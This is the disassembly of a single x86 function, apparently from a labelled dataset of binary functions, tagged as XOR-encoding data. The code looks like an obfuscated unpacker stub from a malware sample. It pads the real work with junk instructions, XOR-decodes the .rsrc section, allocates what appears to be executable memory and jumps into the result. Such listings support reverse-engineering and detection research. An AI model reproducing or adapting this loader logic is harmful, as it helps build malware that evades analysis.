Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x2472a6fa
mov edi, 0x7cd52d85
inc edi
sub edx, 0x8e059f3e
popal
sub edx, 0x5d9e938c
sub edx, 0xc6957396
mov eax, 0
mov esi, ebx
not edi
sub edi, 0xa6615f9c
sub ecx, 0x33194a32
mov edx, esi
sub edi, 1
sub ecx, 0xaf6b9cba
mov ebx, edx
mov edi, 0x4e11ac94
sub ecx, 1
inc eax
add edi, edi
mov edi, 0xd86e04d7
sub edi, ecx
cmp eax, 0x1008a2a
jne 0xa789d0
not edi
or edi, ecx
mov ecx, 0x390f5445
and edx, edi
mov edi, 0x8f16173b
mov edi, 0xa78796
mov edx, 0xa7d2dce9
add ecx, edx
add ecx, 0xee02b52f
mov ebx, 0xa7898a
inc edx
dec edx
sub eax, 0xd73f1650
mov esi, dword [edi]
and ecx, ecx
mov edx, 0x857f3b33
and esi, 0xff
or edx, edx
sub edx, 0xb9dbdb6a
xor dword [ebx], esi
and eax, ecx
mov edx, ecx
sub edx, ecx
add ebx, 1
add edx, edx
not ecx
inc edi
dec ecx
mov ecx, 0x22adb921
cmp ebx, entry0
jl 0xa78a40
sub ecx, edx
and eax, ecx
mov ecx, eax
sub edx, 0x4a5e1b65
dec ecx
add eax, 0x9d8cd35d
mov esi, ecx
mov ecx, 0x18faf289
or edi, esi
mov ebx, 0xa7898e
add esi, esi
inc edx
inc edx
mov ebx, dword [ebx]
add edx, edi
sub edi, 1
sub edx, esi
mov ebx, dword [ebx]
sub edx, esi
mov ecx, 0x2f5a1145
and ecx, ecx
push ebx
mov esi, edx
mov edi, ecx
add edx, ecx
mov ebx, 0xa7898a
add esi, edi
add edi, 0xfa145a6f
mov edi, esi
mov ebx, dword [ebx]
sub edi, esi
and ecx, esi
dec esi
mov ebx, dword [ebx]
add esi, 0x406544f1
add esi, edx
sub edx, edi
sub esp, 4
mov dword [esp], 0xa78992
add edx, 1
sub ecx, esi
not edx
call ebx
dec edi
not esi
add ecx, ecx
mov ebx, dword [esp]
add esp, 4
add esi, 0xf774e2d2
mov edi, 0x86993e8d
add edi, 1
push 0xa7899f
inc ecx
and esi, edi
push eax
and ecx, esi
inc ecx
call ebx
add edx, 0x66c86b20
sub ecx, edx
push 0x40
inc edi
mov ecx, 0x15871c24
dec ecx
sub esp, 4
mov dword [esp], 0x3000
and esi, edx
mov ecx, edi
sub esp, 4
mov dword [esp], 0x200008fd
add ecx, edi
mov esi, edx
add esi, edx
push 0
or esi, edx
sub edx, 1
inc esi
call eax
or esi, edx
not esi
mov edx, 0x3e8486c7
add eax, 0x2000087f
sub edi, esi
mov ecx, esi
mov ecx, 0x4d0fd09c
mov ebx, 0xed325825
mov esi, ecx
sub edx, edi
mov dword [eax], ebx
sub esi, edx
or esi, ecx
not ecx
mov ebx, dword [eax]
not edi
not edi
and edx, esi
cmp ebx, 0xed325825
je 0xa78ba3
mov ecx, 0
mov byte [ecx], bl
dec edi
sub edi, edx
mov ecx, 0xc75fea6a
inc esi
dec edx
add edx, edx
mov esi, section..rsrc
dec edx
inc edx
inc edi
mov ebx, 0xa78795
add edx, 0xa935495d
and edi, edx
or edx, edi
mov eax, 0
dec edx
mov edx, 0xd7f443c6
mov edi, 0x8eed72db
mov ecx, 0xa78796
add edx, 0x2ba2ca6b
dec edi
lea ecx, [ecx + eax]
and edi, edx
mov edx, edi
mov ecx, dword [ecx]
sub edx, edi
add edi, 1
and ecx, 0xff
sub edx, 0x73dd200b
add edi, 1
inc eax
mov edi, edx
add edx, edi
sub edi, edx
cmp eax, 0x1f4
jne 0xa78c19
mov eax, 0
add edi, edx
or edi, edx
add edi, 0x364b81b5
sub edi, edx
xor dword [esi], ecx
not edi
sub edi, edx
add esi, 2
inc edx
add edi, edx
add edi, 0x58a47f8d
cmp esi, ebx
jl 0xa78bd6
or edi, edx
add edi, 0x3dba1278
or edi, edx
mov edx, edi
mov edx, section..rsrc
add edi, 0xa19faa92
inc edi
mov ebx, section..rsrc
sub edi, esi
add edi, edi
add edi, edi
mov ecx, 0xa78795
and edi, esi
add edi, esi
mov eax, 0
sub esi, edi
add edi, 1
mov al, byte [ebx]
dec edi
sub edi, esi
mov byte [edx], al
mov esi, edi
mov esi, edi
inc edi
inc edx
dec edi
sub edi, esi
add ebx, 2
not edi
sub esi, edi
cmp ebx, ecx
jle 0xa78c7b
mov edi, 0xdb19d815
sub edi, 0xca7c5b43
add esi, 1
not edi
sub edi, 0xf0b93da9
sub edx, 1
push 0x8dc6a0
sub edi, 0x488e4ae1
mov edi, 0x76875639
ret